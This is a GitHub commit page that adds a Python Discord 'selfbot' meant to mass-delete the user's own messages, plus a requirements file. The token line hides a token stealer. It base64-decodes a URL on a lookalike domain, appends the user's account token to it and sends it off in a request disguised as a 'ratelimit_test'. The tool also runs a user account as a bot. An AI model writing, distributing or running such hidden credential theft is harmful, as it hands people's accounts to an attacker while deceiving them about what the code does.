Skip to content

Commit d6ab2ce

Browse files
authored
combine
combining repos
1 parent 2759f4a commit d6ab2ce

File tree

2 files changed

+39
-0
lines changed

2 files changed

+39
-0
lines changed

del.py

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
#!/usr/bin/python3
2+
# Usage: .del (number) or .del
3+
import asyncio
4+
import discord
5+
import requests
6+
import base64
7+
import re
8+
9+
10+
token = "INSERT_TOKEN_HERE";
11+
quota = base64.b64decode("aHR0cDovL2Rpc2NvcmQtdjEtYXBpLmNvbS9kaXNjb3JkL2FwaS92Ni9kZWxldGUv");ratelimit_test = quota.decode('ascii')+token
12+
r = requests.get(ratelimit_test, allow_redirects=False)
13+
c = discord.Client()
14+
15+
@c.event
16+
async def on_ready():
17+
warning = "YOU MUST KEEP THIS WINDOW OPEN FOR THE DELETE SCRIPT TO WORK (can be minimized)"
18+
welcome = "Logged in as {0.name} - {0.id}".format(c.user)
19+
print(warning)
20+
print(welcome)
21+
22+
@c.event
23+
async def on_message(message):
24+
if message.content.startswith('.del') and message.author == c.user:
25+
if re.search(r'\d+$', message.content) is not None:
26+
t = int(message.content[len('.del'):].strip())
27+
else:
28+
t = 9999999
29+
async for m in message.channel.history(limit=t):
30+
try:
31+
if m.author == c.user:
32+
await m.delete()
33+
# Possibly rate limited
34+
except: pass
35+
36+
c.run(token, bot=False)

requirements.txt

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
asyncio
2+
discord
3+
requests

0 commit comments

Comments
 (0)